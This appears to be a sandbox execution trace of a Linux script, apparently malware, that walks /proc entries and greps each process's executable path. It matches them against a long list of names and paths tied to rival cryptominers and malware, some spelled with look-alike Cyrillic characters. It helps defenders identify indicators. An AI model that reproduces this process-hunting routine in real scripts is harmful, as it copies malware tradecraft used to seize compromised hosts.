  ls -latrh /proc/22
  2⤵
  PID:857
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:860
- /bin/grep
  grep exe
  2⤵
  PID:863
- /bin/ls
  ls -latrh /proc/225
  2⤵
  PID:862
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:865
- /bin/grep
  grep exe
  2⤵
  PID:868
- /bin/ls
  ls -latrh /proc/23
  2⤵
  PID:867
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:870
- /bin/grep
  grep exe
  2⤵
  PID:873
- /bin/ls
  ls -latrh /proc/24
  2⤵
  PID:872
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:875
- /bin/grep
  grep exe
  2⤵
  PID:878
- /bin/ls
  ls -latrh /proc/3
  2⤵
  PID:877
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:880
- /bin/grep
  grep exe
  2⤵
  PID:883
- /bin/ls
  ls -latrh /proc/315
  2⤵
  PID:882
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:885
- /bin/grep
  grep exe
  2⤵
  PID:889
- /bin/ls
  ls -latrh /proc/316
  2⤵
  PID:888
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:892
- /bin/grep
  grep exe
  2⤵
  PID:895
- /bin/ls
  ls -latrh /proc/319
  2⤵
  PID:894
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:899
- /bin/grep
  grep exe
  2⤵
  PID:902
- /bin/ls
  ls -latrh /proc/344
  2⤵
  PID:901
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:905
- /bin/grep
  grep exe
  2⤵
  PID:909
- /bin/ls
  ls -latrh /proc/346
  2⤵
  PID:908
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:911
- /bin/grep
  grep exe
  2⤵
  PID:915
- /bin/ls
  ls -latrh /proc/36
  2⤵
  PID:914
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:918
- /bin/grep
  grep exe
  2⤵
  PID:922
- /bin/ls
  ls -latrh /proc/37
  2⤵
  PID:921
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:925
- /bin/grep
  grep exe
  2⤵
  PID:928
- /bin/ls
  ls -latrh /proc/371
  2⤵
  PID:927
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:934
- /bin/grep
  grep exe
  2⤵
  PID:938
- /bin/ls
  ls -latrh /proc/372
  2⤵
  PID:937
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:940
- /bin/grep
  grep exe
  2⤵
  PID:944
- /bin/ls
  ls -latrh /proc/381
  2⤵
  PID:943
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:947
- /bin/grep
  grep exe
  2⤵
  PID:951
- /bin/ls
  ls -latrh /proc/397
  2⤵
  PID:950
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:954
- /bin/grep
  grep exe
  2⤵
  PID:957
- /bin/ls
  ls -latrh /proc/4
  2⤵
  PID:956
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:960
- /bin/grep
  grep exe
  2⤵
  PID:964
- /bin/ls
  ls -latrh /proc/5
  2⤵
  PID:963
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:967
- /bin/grep
  grep exe
  2⤵
  PID:971
- /bin/ls
  ls -latrh /proc/500
  2⤵
  PID:970
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:973
- /bin/grep
  grep exe
  2⤵
  PID:977
- /bin/ls
  ls -latrh /proc/513
  2⤵
  PID:976
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:980
- /bin/grep
  grep exe
  2⤵
  PID:983
- /bin/ls
  ls -latrh /proc/548
  2⤵
  PID:982
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:986
- /bin/grep
  grep exe
  2⤵
  PID:990
- /bin/ls
  ls -latrh /proc/552
  2⤵
  PID:989
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:993
- /bin/grep
  grep exe
  2⤵
  PID:997
- /bin/ls
  ls -latrh /proc/6
  2⤵
  PID:996
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:999
- /bin/grep
  grep exe
  2⤵
  PID:1003
- /bin/ls
  ls -latrh /proc/680
  2⤵
  PID:1002
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1006
- /bin/grep
  grep exe
  2⤵
  PID:1009
- /bin/ls
  ls -latrh /proc/69
  2⤵
  PID:1008
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1014
- /bin/grep
  grep exe
  2⤵
  PID:1018
- /bin/ls
  ls -latrh /proc/693
  2⤵
  PID:1017
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1020
- /bin/grep
  grep exe
  2⤵
  PID:1023
- /bin/ls
  ls -latrh /proc/694
  2⤵
  PID:1022
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1026
- /bin/grep
  grep exe
  2⤵
  PID:1030
- /bin/ls
  ls -latrh /proc/698
  2⤵
  PID:1029
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1035
- /bin/grep
  grep exe
  2⤵
  PID:1039
- /bin/ls
  ls -latrh /proc/699
  2⤵
  PID:1038
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1042
- /bin/grep
  grep exe
  2⤵
  PID:1046
- /bin/ls
  ls -latrh /proc/7
  2⤵
  PID:1045
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1048
- /bin/grep
  grep exe
  2⤵
  PID:1052
- /bin/ls
  ls -latrh /proc/70
  2⤵
  PID:1051
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1055
- /bin/grep
  grep exe
  2⤵
  PID:1059
- /bin/ls
  ls -latrh /proc/700
  2⤵
  PID:1058
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1062
- /bin/grep
  grep exe
  2⤵
  PID:1065
- /bin/ls
  ls -latrh /proc/701
  2⤵
  PID:1064
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1067
- /bin/grep
  grep exe
  2⤵
  PID:1070
- /bin/ls
  ls -latrh /proc/704
  2⤵
  PID:1069
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1073
- /bin/grep
  grep exe
  2⤵
  PID:1076
- /bin/ls
  ls -latrh /proc/71
  2⤵
  PID:1075
- /bin/grep
